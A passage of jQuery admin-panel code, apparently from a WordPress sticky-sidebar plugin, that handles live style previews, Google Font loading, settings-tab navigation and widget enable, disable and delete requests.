            var all_icon_class = this.className;
            var current_icon_class = all_icon_class.split(' ');

            var preview_css = '.myStickyelements-preview-screen:not(.myStickyelements-preview-mobile-screen) .mystickyelements-templates-diamond li:not(.mystickyelements-contact-form).'+ current_icon_class[0] +' span.mystickyelements-social-icon::before{background: '+ current_icon_color +'}';
            var preview_css = preview_css + '.myStickyelements-preview-screen.myStickyelements-preview-mobile-screen .mystickyelements-templates-diamond li:not(.mystickyelements-contact-form).'+ current_icon_class[0] +' span.mystickyelements-social-icon::before{background: '+ current_icon_color +'}';
            var preview_css = preview_css + '.myStickyelements-preview-mobile-screen .mystickyelements-position-mobile-bottom.mystickyelements-templates-diamond li:not(.mystickyelements-contact-form).'+ current_icon_class[0] +' span.mystickyelements-social-icon{background: '+ current_icon_color +' !important}';
            var preview_css = preview_css + '.myStickyelements-preview-mobile-screen .mystickyelements-position-mobile-top.mystickyelements-templates-diamond li:not(.mystickyelements-contact-form).'+ current_icon_class[0] +' span.mystickyelements-social-icon{background: '+ current_icon_color +' !important}';

            var preview_css = preview_css + '.myStickyelements-preview-screen:not(.myStickyelements-preview-mobile-screen) .mystickyelements-templates-triangle li:not(.mystickyelements-contact-form).'+ current_icon_class[0] +' span.mystickyelements-social-icon::before{background: '+ current_icon_color +'}';
            var preview_css = preview_css + '.myStickyelements-preview-screen.myStickyelements-preview-mobile-screen .mystickyelements-templates-triangle li:not(.mystickyelements-contact-form).'+ current_icon_class[0] +' span.mystickyelements-social-icon::before{background: '+ current_icon_color +'}';
            var preview_css = preview_css + '.myStickyelements-preview-mobile-screen .mystickyelements-position-mobile-bottom.mystickyelements-templates-triangle li:not(.mystickyelements-contact-form).'+ current_icon_class[0] +' span.mystickyelements-social-icon{background: '+ current_icon_color +' !important}';
            var preview_css = preview_css + '.myStickyelements-preview-mobile-screen .mystickyelements-position-mobile-top.mystickyelements-templates-triangle li:not(.mystickyelements-contact-form).'+ current_icon_class[0] +' span.mystickyelements-social-icon{background: '+ current_icon_color +' !important}';

            var preview_css = preview_css + '.myStickyelements-preview-screen:not(.myStickyelements-preview-mobile-screen) .mystickyelements-position-left.mystickyelements-templates-arrow li:not(.mystickyelements-contact-form).'+ current_icon_class[0] +' span.mystickyelements-social-icon::before{border-left-color: '+ current_icon_color +'}';
            var preview_css = preview_css + '.myStickyelements-preview-screen:not(.myStickyelements-preview-mobile-screen) .mystickyelements-position-right.mystickyelements-templates-arrow li:not(.mystickyelements-contact-form).'+ current_icon_class[0] +' span.mystickyelements-social-icon::before{border-right-color: '+ current_icon_color +'}';
            var preview_css = preview_css + '.myStickyelements-preview-screen:not(.myStickyelements-preview-mobile-screen) .mystickyelements-position-bottom.mystickyelements-templates-arrow li:not(.mystickyelements-contact-form).'+ current_icon_class[0] +' span.mystickyelements-social-icon::before{border-bottom-color: '+ current_icon_color +'}';

            var preview_css = preview_css + '.myStickyelements-preview-screen.myStickyelements-preview-mobile-screen .mystickyelements-position-mobile-left.mystickyelements-templates-arrow li:not(.mystickyelements-contact-form).'+ current_icon_class[0] +' span.mystickyelements-social-icon::before{border-left-color: '+ current_icon_color +'}';
            var preview_css = preview_css + '.myStickyelements-preview-screen.myStickyelements-preview-mobile-screen .mystickyelements-position-mobile-right.mystickyelements-templates-arrow li:not(.mystickyelements-contact-form).'+ current_icon_class[0] +' span.mystickyelements-social-icon::before{border-right-color: '+ current_icon_color +'}';

            if ( current_icon_class[0] == 'insagram' ) {
                var preview_css = preview_css + '.myStickyelements-preview-screen:not(.myStickyelements-preview-mobile-screen) .mystickyelements-templates-arrow li:not(.mystickyelements-contact-form).'+ current_icon_class[0] +' span.mystickyelements-social-icon::before{background: '+ current_icon_color +'}';
                var preview_css = preview_css + '.myStickyelements-preview-screen.myStickyelements-preview-mobile-screen .mystickyelements-templates-arrow li:not(.mystickyelements-contact-form).'+ current_icon_class[0] +' span.mystickyelements-social-icon::before{background: '+ current_icon_color +'}';
            }
            $('head').append('<style type="text/css"> '+ preview_css +' </style>');
        });
    }

    /*font family Privew*/
    $( '.form-fonts' ).on( 'change', function(){
        var font_val = $(this).val();
		var selected = $("option:selected", this);
        $( '.sfba-google-font' ).remove();
        if(font_val == 'System Stack' ) {
            font_val = '-apple-system,BlinkMacSystemFont,Segoe UI,Roboto,Oxygen-Sans,Ubuntu,Cantarell,Helvetica Neue,sans-serif';
        }
        $( 'head' ).append( '<link href="https://fonts.googleapis.com/css?family='+ font_val +':400,600,700" rel="stylesheet" type="text/css" class="sfba-google-font">' );
        $( '.myStickyelements-preview-ul .mystickyelements-social-icon' ).css( 'font-family',font_val );
		
		if (selected.parent()[0].label == "Google Fonts") {
			$(".load-google-fonts-enabled").show();
			$("input[name='general-settings[load_google_fonts]']").prop("checked",true);
			$("input[name='general-settings[is_select_google_fonts]']").val("1");
		}else{
			$(".load-google-fonts-enabled").hide();
			$("input[name='general-settings[is_select_google_fonts]']").val("0");
		}
    } );


    
	$(document).on("click","#mystickyelement-disable-loadfonts",function(){
		$("input[name='general-settings[load_google_fonts]']").prop('checked',false);
		$("#myStickyelements-load-google-fonts-enable").removeAttr('checked');
		$("#mystickyelements-load-google-enable-popup").hide();
		$("#mystickyelement-load-google-popup-overlay").hide();
	});
	
	$(document).on("click","#mystickyelement-button-keep-loadfonts",function(){
		$("input[name='general-settings[load_google_fonts]']").prop('checked',true);
		$("#mystickyelements-load-google-enable-popup").hide();
		$("#mystickyelement-load-google-popup-overlay").hide();
	});
	
	$(document).on("change","input[name='general-settings[load_google_fonts]']",function(){
		if(!$(this).prop('checked')){
			$("#mystickyelements-load-google-enable-popup").show();
			$("#mystickyelement-load-google-popup-overlay").show();
			$(this).prop('checked',false)
		}else{
			$(this).prop('checked',true)
		}
	});
	
	$(document).on("click","#mystickyelement-load-google-popup-overlay",function(){
		$("#mystickyelements-load-google-enable-popup").hide();
		$("#mystickyelement-load-google-popup-overlay").hide();
		$("input[name='general-settings[load_google_fonts]']").prop('checked',true);
	});
    
    function mystickyelements_disable_section( parent_class, enable_class ){
        
        
        if ( $( '#' + enable_class ).prop("checked") != true ) {
            
            $( '#' + parent_class + ' .mystickyelements-disable-wrap' ).addClass( 'mystickyelements-disable' );
            $( '#' + parent_class + ' .mystickyelements-disable .myStickyelements-social-channels-info' ).hide();
            $( '#' + parent_class + ' .mystickyelements-disable-content-wrap' ).show();
        } else {
            
            $( '#' + parent_class + ' .mystickyelements-disable-wrap' ).removeClass( 'mystickyelements-disable' );
            $( '#' + parent_class + ' .mystickyelements-disable-wrap .myStickyelements-social-channels-info' ).show();
            $( '#' + parent_class + ' .mystickyelements-disable-content-wrap' ).hide();
        }
    }
    function mystickyelements_border_radius(){
        var position_device = '';
        var social_id = '';
        var $i = 0;
        var second_social_id = '';
        var $flg = false;

        if( $(".myStickyelements-preview-screen" ).hasClass( "myStickyelements-preview-mobile-screen" ) ){
            position_device = 'mobile-';
        }
        var $mobile_bottom = 0;
        $('.mystickyelements-fixed ul li').each( function () {
            $('.mystickyelements-position-' + position_device + 'left #' + $(this).attr('id') + ' .mystickyelements-social-icon').css('border-radius','');
            $('.mystickyelements-position-' + position_device + 'right #' + $(this).attr('id') + ' .mystickyelements-social-icon').css('border-radius','');
            $('.mystickyelements-position-' + position_device + 'bottom #' + $(this).attr('id') + ' .mystickyelements-social-icon').css('border-radius','');

            /* Check First LI */
            if ( $i == 1 ){
                if ( !$(".myStickyelements-preview-screen" ).hasClass( "myStickyelements-preview-mobile-screen" ) &&  !$(this).hasClass('element-desktop-on')){
                    $flg = true;
                }
                if ( $(".myStickyelements-preview-screen" ).hasClass( "myStickyelements-preview-mobile-screen" ) &&  !$(this).hasClass('element-mobile-on')){
                    $flg = true;
                }
            }
            if ( $i == 2 && $flg === true) {
                if ( !$(".myStickyelements-preview-screen" ).hasClass( "myStickyelements-preview-mobile-screen" ) ){
                    second_social_id = $(this).attr('id');
                }
                if ( $(".myStickyelements-preview-screen" ).hasClass( "myStickyelements-preview-mobile-screen" ) ){
                    second_social_id = $(this).attr('id');
                }
            }
            if ( !$(".myStickyelements-preview-screen" ).hasClass( "myStickyelements-preview-mobile-screen" ) &&  $(this).hasClass('element-desktop-on')){
                social_id = $(this).attr('id');
            }
            if ( $(".myStickyelements-preview-screen" ).hasClass( "myStickyelements-preview-mobile-screen" ) &&  $(this).hasClass('element-mobile-on')){
                social_id = $(this).attr('id');
                $mobile_bottom++;
            }
            $i++;
        });
        $(".myStickyelements-preview-tab .mystickyelements-fixed").removeClass (function (index, className) {
            return (className.match (/(^|\s)mystickyelements-bottom-social-channel-\S+/g) || []).join(' ');
        });
        $(".myStickyelements-preview-tab .mystickyelements-fixed").removeClass (function (index, className) {
            return (className.match (/(^|\s)mystickyelements-top-social-channel-\S+/g) || []).join(' ');
        });
        $( '.mystickyelements-fixed.mystickyelements-position-mobile-bottom').addClass( 'mystickyelements-bottom-social-channel-' + $mobile_bottom );
        $( '.mystickyelements-fixed.mystickyelements-position-mobile-top').addClass( 'mystickyelements-top-social-channel-' + $mobile_bottom );
        if ( social_id != ''  ) {
            $('.mystickyelements-fixed').show();
            if ( social_id === 'myStickyelements-preview-contact' ){
                $('.mystickyelements-position-' + position_device + 'left #' + social_id + ' .mystickyelements-social-icon').css('border-bottom-left-radius', '10px' );
                $('.mystickyelements-position-' + position_device + 'right #' + social_id + ' .mystickyelements-social-icon').css('border-top-left-radius', '10px' );
                $('.mystickyelements-position-' + position_device + 'bottom #' + social_id + ' .mystickyelements-social-icon').css('border-top-right-radius', '10px' );

                if( $( 'li.mystickyelements-minimize' ).length !== 1 ){
                    $('.mystickyelements-position-' + position_device + 'left #' + social_id + ' .mystickyelements-social-icon').css('border-bottom-right-radius', '10px' );
                    $('.mystickyelements-position-' + position_device + 'right #' + social_id + ' .mystickyelements-social-icon').css('border-top-right-radius', '10px' );
                }
            } else if ( social_id !== 'myStickyelements-preview-contact') {
                if ( $i=== 1 ) {
                    $('.mystickyelements-position-' + position_device + 'left #' + social_id + ' .mystickyelements-social-icon').css('border-radius', '0 10px 10px 0' );
                    $('.mystickyelements-position' + position_device + '-right #' + social_id + ' .mystickyelements-social-icon').css('border-radius', '10px 0 0 10px' );
                } else {
                    $('.mystickyelements-position-' + position_device + 'left #' + social_id + ' .mystickyelements-social-icon').css( 'border-bottom-right-radius', '10px' );
                    $('.mystickyelements-position-' + position_device + 'right #' + social_id + ' .mystickyelements-social-icon').css( 'border-bottom-left-radius', '10px' );
                    $('.mystickyelements-position-' + position_device + 'bottom #' + social_id + ' .mystickyelements-social-icon').css( 'border-top-right-radius', '10px' );
                }
            }
        } else {
            $('.mystickyelement-credit').hide();
            $('.mystickyelements-fixed').hide();
        }
        if ( second_social_id != '' && second_social_id !== 'myStickyelements-preview-contact' && $( 'li.mystickyelements-minimize' ).length !== 1  ) {
            $('.mystickyelements-position-' + position_device + 'left #' + second_social_id + ' .mystickyelements-social-icon').css('border-top-right-radius', '10px' );
            $('.mystickyelements-position-' + position_device + 'right #' + second_social_id + ' .mystickyelements-social-icon').css('border-top-left-radius', '10px' );
            $('.mystickyelements-position-' + position_device + 'bottom #' + second_social_id + ' .mystickyelements-social-icon').css('border-top-left-radius', '10px' );
        }
    }
    
    /* mysticky tab click */
        
    $(document).ready(function(){
        jQuery( '#mystickyelements-contact-form,#mystickyelements-social-media, #mystickyelements-display-settings' ).on( 'click', function(e) {
            e.preventDefault();
            var curent_tab = $('.mystickyelements-tab.active').data( 'tab-id');
            var next_tab = $(this).data( 'tab-id');
            var widget_status = $('.mystickyelements-preivew-below-sec').data('id');
            if ( curent_tab == next_tab) {
                return false;
            }
            
            if( widget_status == 0 && next_tab=='mystickyelements-tab-display-settings' ){
                if ( $( '#myStickyelements-social-channels-enabled' ).prop("checked") == true ) {
                    var is_links_empty = 0;
                    jQuery('.mystickyelement-social-links-input').each(function(index, value) {
                        if( jQuery(this).val() == '' ){
                            is_links_empty = 1;
                            return; 
                        }
                    });
                }
                
                if( is_links_empty == 1 && jQuery(this).data("tab-triger") != "yes"){
                    if ( $( '#myStickyelements-social-channels-enabled' ).prop("checked") == true ) {
                        jQuery('.mystickyelements-missing-link-popup, #mystickyelement-missing-link-overlay').show();
                        jQuery('.mystickyelement-dolater-widget-btn').attr('data-popupfrom', 'tab_button');
                    }
                    
                    return false;   
                }
            
                $('#btn-next').hide();
                $('#next-button-prev').hide();
                $('#submit').show();
                $('.preview-publish').show();
                $('.preview-publish').html( 'Publish' );
                $('.preview-publish').val('Publish');
                $('#save_view').show();
                $('.save-button').show();
                $( '#mystickyelements-contact-form').addClass('completed');
                $( '#mystickyelements-social-media').addClass('completed');
            }
            else if( widget_status == 0 &&  next_tab != 'mystickyelements-tab-display-settings' ){
                $('#btn-next').show();
                $('#next-button-prev').show();
                $('#submit').hide();
                $('.preview-publish').hide();
                $('.preview-publish').html( 'Save' );
                $('.preview-publish').val('Save');
                $('#save_view').hide();
                $('.save-button').hide();
                if( next_tab=='mystickyelements-tab-social-media' ) {
                    $( '#mystickyelements-contact-form').addClass('completed');
                    $( '#mystickyelements-social-media').removeClass('completed');
                } else if( next_tab=='mystickyelements-tab-contact-form' ) {
                    $( '#mystickyelements-contact-form').removeClass('completed');
                    $( '#mystickyelements-social-media').removeClass('completed');
                }
            }
            else if( widget_status==1 && next_tab == 'mystickyelements-tab-display-settings' ){
                if ( $( '#myStickyelements-social-channels-enabled' ).prop("checked") == true ) {
                    var is_links_empty = 0;
                    jQuery('.mystickyelement-social-links-input').each(function(index, value) {
                        if( jQuery(this).val() == '' ){
                            
                            is_links_empty = 1;
                            return; 
                        }
                    });
                }
                
                if( is_links_empty == 1 && jQuery(this).data("tab-triger") != "yes"){
                    if ( $( '#myStickyelements-social-channels-enabled' ).prop("checked") == true ) {
                        jQuery('.mystickyelements-missing-link-popup, #mystickyelement-missing-link-overlay').show();
                        jQuery('.mystickyelement-dolater-widget-btn').attr('data-popupfrom', 'tab_button');
                    }
                    return false;   
                }
                
                $('#btn-next').hide();
                $('#next-button-prev').hide();
                $('#submit').show();
                $('.preview-publish').show();
                $('.preview-publish').html( 'Publish' );
                $('.preview-publish').val('Publish');
                $('#save_view').show();
                $('.save-button').show();
                $( '#mystickyelements-contact-form').addClass('completed');
                $( '#mystickyelements-social-media').addClass('completed');
            }
            else{
                $('#btn-next').show();
                $('#next-button-prev').show();
                $('#submit').hide();
                $('.preview-publish').show();
                $('.preview-publish').html( 'Save' );
                $('.preview-publish').val('Save');
                $('#save_view').show();
                $('.save-button').show();
                if( next_tab=='mystickyelements-tab-social-media' ) {
                    $( '#mystickyelements-contact-form').addClass('completed');
                    $( '#mystickyelements-social-media').removeClass('completed');
                } else if( next_tab=='mystickyelements-tab-contact-form' ) {
                    $( '#mystickyelements-contact-form').removeClass('completed');
                    $( '#mystickyelements-social-media').removeClass('completed');
                }
            }
            
            if( next_tab=='mystickyelements-tab-contact-form' ){
                $('#btn-prev').hide();
            }else{
                $('#btn-prev').show();
            }
            
            $( '.mystickyelements-tab').removeClass( 'active');
            $(this).addClass('active');
            $( '#' + next_tab).show();
            $( '#' + curent_tab).hide();
            
        });
        
        mystickyelements_disable_section( 'mystickyelements-tab-contact-form', 'myStickyelements-contact-form-enabled' );
        
        $('#btn-more').on('click',function(event){
            event.preventDefault();
            $('.more-setting-rows').slideDown();    
            $('#btn-less').show();
            $(this).hide();
        });
        
        $('#btn-less').on('click',function(event){
            event.preventDefault();
            $('.more-setting-rows').hide(); 
            $('#btn-more').show();
            $(this).hide();
        });

        $( '#btn-prev' ).on( 'click' , function( event ){
            
            event.preventDefault();
            var curent_tab = $( '.mystickyelements-tab.active' ).data( 'tab-id');
            var next_tab = '';
            var widget_status = $('.mystickyelements-preivew-below-sec').data('id');
            
            $( '.mystickyelements-tab' ).removeClass( 'active' );
            if( curent_tab == 'mystickyelements-tab-display-settings' ){
                next_tab = 'mystickyelements-tab-social-media';
                $( '#mystickyelements-social-media' ).addClass( 'active' );
                $( '#mystickyelements-social-media').removeClass('completed');
                $( '#submit').hide();
                $( this ).show();
                $('.preview-publish').html( 'Save' );
                $('.preview-publish').val('Save');
                $( '#next-button-prev' ).show();
                $( '#btn-next' ).show();
            }
            else if(curent_tab == 'mystickyelements-tab-social-media'){
                next_tab = 'mystickyelements-tab-contact-form';
                $('.preview-publish').html( 'Save' );
                $('.preview-publish').val('Save');
                $( '#mystickyelements-contact-form').addClass('active');
                $( '#mystickyelements-contact-form').removeClass('completed');
                $(this).hide();
            }
            
            if( widget_status == 0 && curent_tab == 'mystickyelements-tab-display-settings' ){
                $('.preview-publish').hide();
                $('#save_view').hide();
                $('.save-button').hide();
            }
            else if( widget_status == 0 && curent_tab == 'mystickyelements-tab-social-media' ){
                $('.preview-publish').hide();
                $('#save_view').hide();
                $('.save-button').hide();
            }
            
            if ( curent_tab == next_tab) {
                return false;
            }
            $( '#' + next_tab).show();
            $( '#' + curent_tab).hide();
            
            $("html, body").animate({ scrollTop: 0 }, "slow");
        });
        
        $( '#btn-next' ).on( 'click' , function(event){
            event.preventDefault();
            var curent_tab = $('.mystickyelements-tab.active').data( 'tab-id');
            var next_tab = '';
            var widget_status = $('.mystickyelements-preivew-below-sec').data('id');
            
            
            $( '.mystickyelements-tab').removeClass( 'active');
            if(curent_tab == 'mystickyelements-tab-contact-form'){
                next_tab = 'mystickyelements-tab-social-media';
                $( '#mystickyelements-social-media').addClass('active');
                $( '#mystickyelements-contact-form').addClass('completed');
                $('#submit').hide();
                $(this).show();
                $('#next-button-prev').show();
                $( '#btn-prev' ).show();
                $('.preview-publish').show();
                $('.preview-publish').html( 'Save' );
                $('.preview-publish').val('Save');
                $('#save_view').show();
                $('.save-button').show();
                
                if( widget_status == 0 ){
                    $('.preview-publish').hide();
                    $('#save_view').hide();
                    $('.save-button').hide();
                }
            }else if(curent_tab == 'mystickyelements-tab-social-media'){
                if ( $( '#myStickyelements-social-channels-enabled' ).prop("checked") == true ) {
                    var is_links_empty = 0;
                    jQuery('.mystickyelement-social-links-input').each(function(index, value) {
                        if( jQuery(this).val() == '' ){
                            is_links_empty = 1;
                            return; 
                        }
                    });
                }
                
                if( is_links_empty == 1 && jQuery(this).data("tab-triger") != "yes" ){
                    jQuery('.mystickyelement-dolater-widget-btn').attr('data-popupfrom', 'next_button');
                    if ( $( '#myStickyelements-social-channels-enabled' ).prop("checked") == true ) {
                        jQuery('.mystickyelements-missing-link-popup, #mystickyelement-missing-link-overlay').show();
                    }
                    $( '#mystickyelements-social-media').addClass('active');
                    $( '#mystickyelements-contact-form').addClass('completed');
                    return false;
                }
                else{
                    next_tab = 'mystickyelements-tab-display-settings';
                    $( '#mystickyelements-display-settings').addClass('active');
                    $( '#mystickyelements-contact-form').addClass('completed');
                    $( '#mystickyelements-social-media').addClass('completed');
                    $(this).hide();
                    $('#next-button-prev').hide();
                    $('#submit').show();
                    $('.preview-publish').show();
                    $('.preview-publish').html( 'Publish' );
                    $('.preview-publish').val('Publish');
                    $('#save_view').show();
                    $('.save-button').show();
                }
            }
            
            if ( curent_tab == next_tab) {
                return false;
            }
            
            $( '#' + next_tab).show();
            $( '#' + curent_tab).hide();            
            
            $("html, body").animate({ scrollTop: 0 }, "slow");
        });     
        
        if ( $(".settings-save-toast").length !== 0) {
            setTimeout(function() { 
                $(".settings-save-toast").hide(); 
            }, 5000);               
        }
        
        $('#next-button-prev').on('click',function(event){
            event.preventDefault();
            
            var curent_tab = $('.mystickyelements-tab.active').data( 'tab-id');
            var next_tab = '';
            var widget_status = $('.mystickyelements-preivew-below-sec').data('id');
            
            $( '.mystickyelements-tab').removeClass( 'active');
            if(curent_tab == 'mystickyelements-tab-contact-form'){
                next_tab = 'mystickyelements-tab-social-media';
                 
                $( '#mystickyelements-social-media').addClass('active');
                $( '#mystickyelements-contact-form').addClass('completed');
                $('#submit').hide();
                $(this).show();
                $( '#btn-prev' ).show();
                $('.preview-publish').show();
                $('.preview-publish').html( 'Save' );
                $('.preview-publish').val('Save');
                $('#save_view').show();
                $('.save-button').show();
                
                if( widget_status == 0 && next_tab == 'mystickyelements-tab-social-media' ){
                    $('.preview-publish').hide();
                    $('#save_view').hide();
                    $('.save-button').hide();
                }
            }
            else if(curent_tab == 'mystickyelements-tab-social-media'){
                if ( $( '#myStickyelements-social-channels-enabled' ).prop("checked") == true ) {
                    var is_links_empty = 0;
                    jQuery('.mystickyelement-social-links-input').each(function(index, value) {
                        if( jQuery(this).val() == '' ){
                            is_links_empty = 1;
                            return; 
                        }
                    });
                }
                
                if( is_links_empty == 1 && jQuery(this).data("tab-triger") != "yes" ){
                    jQuery('.mystickyelement-dolater-widget-btn').attr('data-popupfrom', 'next_preview_button');
                    if ( $( '#myStickyelements-social-channels-enabled' ).prop("checked") == true ) {
                        jQuery('.mystickyelements-missing-link-popup, #mystickyelement-missing-link-overlay').show();
                    }
                    $( '#mystickyelements-social-media').addClass('active');
                    $( '#mystickyelements-contact-form').addClass('completed');
                    return false;
                }else{
                    next_tab = 'mystickyelements-tab-display-settings';
                    $( '#mystickyelements-display-settings').addClass('active');
                    $( '#mystickyelements-contact-form').addClass('completed');
                    $( '#mystickyelements-social-media').addClass('completed');
                    $(this).hide();
                    $('#btn-next').hide();
                    $('#submit').show();
                    $('.preview-publish').show();
                    $('.preview-publish').html( 'Publish' );
                    $('.preview-publish').val('Publish');
                    $('#save_view').show();
                    $('.save-button').show();
                }
            }
            if ( curent_tab == next_tab) {
                return false;
            }
            $( '#' + next_tab).show();
            $( '#' + curent_tab).hide();            
            $("html, body").animate({ scrollTop: 0 }, "slow");
            
        });
        
        $( '.dropdown-field-setting' ).on("click",function(){
            
            $('.contact-form-field-open.contact-form-setting-popup-open').css('display','block');
        });
        
        $('.stickyelement-action-popup').on('click',function(){
            var key_id =  $(this).data("id") 
            $('#stickyelement-action-popup-'+key_id).show();
            $('#mystickyelement-action-popup-overlay-'+key_id).show();
        });
        
        $(document).on( "click", ".mystickyelement-widgets-lists-enabled" , function(e){
            
            var widget_id = $(this).data('id');
            if( $(this).prop("checked") != true ){
                $('#widget-status-popup-' + widget_id).show();
                $('#mystickyelement-status-popup-overlay-' + widget_id).show();
            }else{
                var widget_status = 1;
                set_widget_status( widget_id, widget_status );
            }
        });

        $(document).on( 'click', '.btn-disable-cancel' , function(e){
            var widget_id = $(this).data('id');
            var widget_status = 0;
            set_widget_status( widget_id, widget_status );
        } );
           
        $(document).on( 'click', '.mystickyelement-keep-widget-btn' , function() {
            var widget_id = $(this).data('id');
            var widget_status = 1;
            $('.mystickyelement-widgets-lists-enabled').prop('checked', true);
            set_widget_status( widget_id, widget_status );
        });
        
        $(document).on('click','.button-contact-popup-keep',function(){
            var popup_from = 'contact-form';
            $(".turn-off-message").css('display','none');
            $(".contact-form-description").css('display','block');
            $( '#myStickyelements-preview-contact' ).show();
            //$( '.myStickyelements-preview-ul' ).removeClass( 'remove-contact-field' );
            $( '.mystickyelements-contact-form' ).removeClass( 'mystickyelements-contact-form-hide' );
            $('#contactform-status-popup').hide();  
            $('#mystickyelement-contact-popup-overlay').hide();

            $('#myStickyelements-contact-form-enabled').prop('checked',true);
            var parent_class = 'mystickyelements-tab-contact-form';
            $( '#' + parent_class + ' .mystickyelements-disable-wrap' ).removeClass( 'mystickyelements-disable' );
            $( '#' + parent_class + ' .mystickyelements-disable-wrap .myStickyelements-social-channels-info' ).show();
            $( '#' + parent_class + ' .mystickyelements-disable-content-wrap' ).hide();
        });

        $('#mystickyelement-contact-popup-overlay').on('click',function(){
            
            $(".turn-off-message").css('display','none');
            $(".contact-form-description").css('display','block');
            $( '#myStickyelements-preview-contact' ).show();
            $( '.mystickyelements-contact-form' ).removeClass( 'mystickyelements-contact-form-hide' );
            $('#contactform-status-popup').hide();  
            $('#mystickyelement-contact-popup-overlay').hide();

            $('#myStickyelements-contact-form-enabled').prop('checked',true);
            var parent_class = 'mystickyelements-tab-contact-form';
            $( '#' + parent_class + ' .mystickyelements-disable-wrap' ).removeClass( 'mystickyelements-disable' );
            $( '#' + parent_class + ' .mystickyelements-disable-wrap .myStickyelements-social-channels-info' ).show();
            $( '#' + parent_class + ' .mystickyelements-disable-content-wrap' ).hide();
        });

        $(document).on('click','.close-dialog',function(){
            var widget_id = $(this).data('id');
            var popup_from = $(this).data('from');
            if( popup_from == 'widget-status' ){
                var widget_status = 1;
                $('.mystickyelement-widgets-lists-enabled').prop('checked', true);
                set_widget_status( widget_id, widget_status );
            }else if( popup_from == "widget-rename" ){
                $('#stickyelement-widget-rename-popup-' + widget_id).hide();
                $('#mystickyelement-rename-popup-overlay-' + widget_id).hide(); 
            }else if( popup_from == 'widget-social-link'){
                $('.mystickyelements-missing-link-popup').hide();
                $('#mystickyelement-missing-link-overlay').hide();  
            }else{
                $('#stickyelement-action-popup-' + widget_id).hide();
                $('#mystickyelement-action-popup-overlay-' + widget_id).hide();
            }

            if( popup_from == 'contact-form' ){
                $(".turn-off-message").css('display','none');
                $(".contact-form-description").css('display','block');
                $( '#myStickyelements-preview-contact' ).show();
                $( '.mystickyelements-contact-form' ).removeClass( 'mystickyelements-contact-form-hide' );
                $('#contactform-status-popup').hide();  
                $('#mystickyelement-contact-popup-overlay').hide();

                $('#myStickyelements-contact-form-enabled').prop('checked',true);
                var parent_class = 'mystickyelements-tab-contact-form';
                $( '#' + parent_class + ' .mystickyelements-disable-wrap' ).removeClass( 'mystickyelements-disable' );
                $( '#' + parent_class + ' .mystickyelements-disable-wrap .myStickyelements-social-channels-info' ).show();
                $( '#' + parent_class + ' .mystickyelements-disable-content-wrap' ).hide();
                
            }else if( popup_from == 'social-form' ){
                $('.social-disable-info').css('display','none');
                $('.mystickyelements-header-sub-title').css('display','block');

                $('#socialform-status-popup').hide();   
                $('#mystickyelement-social-popup-overlay').hide();
                
                $('#myStickyelements-social-channels-enabled').prop('checked',true);
                var parent_class = 'mystickyelements-tab-social-media';
                $( '#' + parent_class + ' .mystickyelements-disable-wrap' ).removeClass( 'mystickyelements-disable' );
                $( '#' + parent_class + ' .mystickyelements-disable-wrap .myStickyelements-social-channels-info' ).show();
                $( '#' + parent_class + ' .mystickyelements-disable-content-wrap' ).hide();

            }

            if( popup_from == 'sendleads-upgrade') {
                $( '.contactform-sendleads-upgrade-popup, #contactform_sendleads_popup_overlay' ).hide();
            }
            
            if( popup_from == 'intro-popup'){
                myStickyelements_intro_popup_close();
            }
        });
        
        $("#mystickyelement_intro_popup_overlay").on('click',function(){
            myStickyelements_intro_popup_close();
        });

        $('.button-social-popup-keep').on('click',function(){

            $('.social-disable-info').css('display','none');
            $('.mystickyelements-header-sub-title').css('display','block');

            $('#socialform-status-popup').hide();   
            $('#mystickyelement-social-popup-overlay').hide();
            
            $('#myStickyelements-social-channels-enabled').prop('checked',true);
            var parent_class = 'mystickyelements-tab-social-media';
            $( '#' + parent_class + ' .mystickyelements-disable-wrap' ).removeClass( 'mystickyelements-disable' );
            $( '#' + parent_class + ' .mystickyelements-disable-wrap .myStickyelements-social-channels-info' ).show();
            $( '#' + parent_class + ' .mystickyelements-disable-content-wrap' ).hide();
        });

        $('#mystickyelement-social-popup-overlay').on('click',function(){
            $('.social-disable-info').css('display','none');
            $('.mystickyelements-header-sub-title').css('display','block');

            $('#socialform-status-popup').hide();   
            $('#mystickyelement-social-popup-overlay').hide();
            
            $('#myStickyelements-social-channels-enabled').prop('checked',true);
            var parent_class = 'mystickyelements-tab-social-media';
            $( '#' + parent_class + ' .mystickyelements-disable-wrap' ).removeClass( 'mystickyelements-disable' );
            $( '#' + parent_class + ' .mystickyelements-disable-wrap .myStickyelements-social-channels-info' ).show();
            $( '#' + parent_class + ' .mystickyelements-disable-content-wrap' ).hide();

        });

        function set_widget_status( widget_id, widget_status ) {
            jQuery.ajax({
                url: ajaxurl,
                type:'post',
                data: 'action=mystickyelement_widget_status&widget_id='+widget_id+'&widget_status=' + widget_status +'&wpnonce=' + mystickyelements.ajax_nonce,
                success: function( data ){
                    $('#widget-status-popup-' + widget_id).hide();
                    $('#mystickyelement-status-popup-overlay-' + widget_id).hide();
                },
            });
        }
        
        $(document).on('click','.mystickyelement-delete-widget',function(){
            var widget_id = $(this).data('id');
            $('#dashboard_widget_id_' + widget_id).val(widget_id);
            $("#stickyelement-action-popup-" + widget_id).show();
            $('#mystickyelement-action-popup-overlay-'+widget_id).show();
        });
        $(document).on('click','.btn-cancel',function(){
            var widget_id = $(this).data('id');
            $('#stickyelement-action-popup-' + widget_id).hide();
            $('#mystickyelement-action-popup-overlay-'+widget_id).hide();
        });
        
        $(document).on( "click", ".mystickyelement-delete-widget-btn" , function(e){
            e.preventDefault();
            var widget_id = $(this).data('id');
            jQuery.ajax({
                url: ajaxurl,
                type:'post',
                data: 'action=mystickyelement_widget_delete&widget_id='+widget_id+'&widget_delete=1&wpnonce=' + mystickyelements.ajax_nonce,
                success: function( data ){  
                    
                    $( '#stickyelement-widget-' + widget_id ).remove();
                    setTimeout('location.reload()', 500);
                },
            });
        });

        $(document).on('click','.stickyelement-overlay',function(){
            $(this).hide();
            var widget_id = $(this).data('id');
            var widget_from = $(this).data('from');
            
            if( widget_from == 'widget-status' ){
                var widget_status = 1;
                $('.mystickyelement-widgets-lists-enabled').prop('checked', true);
                set_widget_status( widget_id, widget_status );
            }
            $('.mystickyelements-action-popup-open').hide();
        });
        $(document).on('click','.close_flash_popup',function(){        
            $('#flash_message').hide();            
        });
        
        jQuery(document).on('click','.mystickyelemt-rename-widget',function(){
            var id = $(this).data('id');
            $( '#stickyelement-widget-rename-popup-'+id ).show();
            $('#mystickyelement-rename-popup-overlay-' + id).show();
        });
        
        jQuery(document).on('click','.mystickyelement-btn-rename',function(e){
            e.preventDefault();
            var widget_id = $(this).data('id');
